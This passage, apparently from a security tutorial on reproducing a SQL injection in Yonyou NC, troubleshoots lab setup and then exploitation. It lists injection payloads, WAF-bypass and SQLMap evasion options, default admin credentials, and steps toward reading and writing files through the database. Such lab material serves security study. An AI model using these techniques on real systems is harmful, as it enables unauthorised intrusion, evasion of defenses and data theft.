检查用友NC官方文档对JDK版本的要求安装指定版本如jdk1.8.0_181。2. 确保JAVA_HOME指向正确的JDK安装目录且Path中包含%JAVA_HOME%\bin。3. 对于Windows环境尝试以管理员身份运行安装程序。中间件Tomcat启动后访问NC页面报404或500错误1. War包未正确部署。2. 数据库连接失败。3. 内存配置不足。1. 检查Tomcat的webapps目录下是否有NC的应用文件夹或检查管理界面部署状态。2. 查看Tomcat的catalina.out或logs目录下的日志文件寻找数据库连接错误信息核对jdbc.properties中的连接串、用户名、密码。3. 调整Tomcat的启动脚本如catalina.sh或setenv.sh增加JVM堆内存参数-Xms1024m -Xmx4096m。登录界面正常但输入账号密码后无法登录1. 数据库用户表未初始化或数据有问题。2. 密码加密方式不匹配。3. 系统时间或时区设置错误。1. 尝试使用安装时设置的默认管理员账号如admin/空密码或admin/admin。2. 直接查询数据库sm_user表确认密码字段的哈希值是否存在。对比登录时系统生成的哈希值与数据库存储的是否一致。3. 检查操作系统和数据库的时区设置是否一致。5.2 漏洞复现与利用问题问题现象可能原因排查与解决思路提交单引号或%27后页面无变化返回统一错误页或空白。1. 漏洞已被修复。2. 注入点不是link参数或是其他参数。3. 存在WAF或基础防护拦截了特殊字符。4. 注入类型不是字符型可能是数字型、搜索型等。1. 确认测试的NC版本是否在受影响范围内。2. 尝试对请求中的所有参数包括Cookie、User-Agent进行Fuzz测试寻找其他注入点。3. 使用Burp Suite的Intruder模块以极慢的速度发送Payload或尝试使用注释符/**/代替空格使用代替AND等绕过技巧。4. 尝试数字型注入Payloadlink1 AND 11和link1 AND 12。手工注入时UNION SELECT后页面显示异常或报错但ORDER BY测试正常。1. 前后查询的列数不一致。2. 前后查询对应列的数据类型不兼容。3. 显错位判断错误。1. 再次仔细确认ORDER BY测试出的列数N确保UNION SELECT后面跟了N个字段。2. 将UNION SELECT后面的数字替换为NULL因为NULL可以匹配任何数据类型。例如UNION SELECT NULL,NULL,NULL,NULL--。3. 尝试在UNION SELECT的每个位置都放置一个不同的标记如a,1,version观察哪个位置的内容最终显示在页面上。SQLMap检测不到注入点或检测结果不稳定。1. 注入点是盲注Boolean Blind/Time BlindSQLMap默认级别可能未检测。2. 存在复杂的编码或过滤SQLMap的Payload被变形。3. 网络不稳定或目标有速率限制。1. 在SQLMap中指定更高的检测级别和风险等级--level5 --risk3。对于时间盲注可以显式指定--techniqueT。2. 使用--tamper参数尝试多个脚本组合如--tamperspace2comment,charencode。观察Burp中SQLMap的请求看Payload是否被正确发送。3. 使用--delay参数设置请求间隔如--delay2避免触发目标系统的防护机制。成功注入但LOAD_FILE或INTO OUTFILE失败。1. 数据库用户无FILE权限。2.secure_file_priv系统变量限制了目录。3. 目标路径不存在或不可写。1. 通过UNION SELECT 1,user(),3,4--查看当前数据库用户并通过SELECT file_priv FROM mysql.user WHERE usercurrent_user需高权限查看是否有文件权限。2. 执行SHOW VARIABLES LIKE secure_file_priv查看允许读写的目录。3. 尝试写入Web根目录下的临时文件或通过报错信息、phpinfo页面等搜集Web绝对路径。5.3 实战中的技巧与思考信息收集是王道在测试一个像用友NC这样复杂的企业应用前花时间进行信息收集至关重要。包括但不限于版本号从登录页、JS文件、错误信息中获取、中间件类型和版本、已知的默认路径和文件、相关的技术栈Struts2? Spring?。这些信息能帮你快速定位可能存在的历史漏洞和测试入口。不要忽视“不起眼”的功能点/link/content这种看似边缘的接口往往是安全测试的盲区。开发人员可能认为它不重要从而放松了安全编码要求。在测试时要重点关注文件上传、报表导出/打印、数据导入、短信/邮件发送、内容预览这类“输入-输出”功能。理解业务逻辑漏洞SQL注入是技术漏洞但结合业务逻辑能产生更大危害。例如通过注入修改某个审批流程的状态字段可能实现越权审批。在测试时要思考“如果我能修改/读取这张表的数据在业务上意味着什么”保持工具链的更新与熟悉Burp Suite、SQLMap、Nmap、Metasploit等工具是安全人员的“瑞士军刀”。不仅要会用还要理解其原理能看懂它发出的每一个请求能根据实际情况编写自己的插件或脚本如Burp的Intruder Payload处理器、SQLMap的tamper脚本。复现一个已知漏洞远不止是“跑通POC”那么简单。从环境搭建中理解系统架构从漏洞分析中学习编码缺陷从利用过程中思考防御纵深从问题排查中积累实战经验——这才是每一次复现练习的真正价值所在。对于企业安全建设者这个案例提醒我们资产梳理、漏洞扫描、代码审计、权限管理、日志监控每一个环节都不可或缺。